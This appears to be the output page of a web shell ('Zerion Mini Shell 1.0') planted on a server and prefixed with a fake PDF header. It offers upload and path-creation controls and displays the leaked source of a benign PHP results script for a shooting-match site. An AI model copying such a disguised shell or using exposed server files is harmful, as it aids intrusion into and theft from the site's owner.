%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/verify.varak.net/app/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/verify.varak.net/app/match.php

<?php
/**
 * Created by IntelliJ IDEA.
 * User: mvarak
 * Date: 5/27/19
 * Time: 4:33 PM
 */

// Cache for a month, since there is little chance data would be edited by other means than importing
$smarty->setCacheLifetime(3600 * 24 * 30);
$cacheId = $id;

if(!$smarty->isCached($template, $cacheId))
{
    $matchInfo = dibi::query("SELECT [id], [name], [type] FROM [matches] WHERE [uuid]=%s", $id)->fetch();
    $shooters = dibi::query("SELECT [id], [squad], [firstName], [lastName], [factor], [division], [class], (SELECT count(1) FROM [score] WHERE [score].[shooter]=[shooters].[id]) [stages] FROM [shooters] WHERE [match]=%i", $matchInfo->id);

    $smarty->assign("name", $matchInfo->name);
    $smarty->assign('shooters', $shooters);
    $smarty->assign('type', $matchInfo->type);
}

Zerion Mini Shell 1.0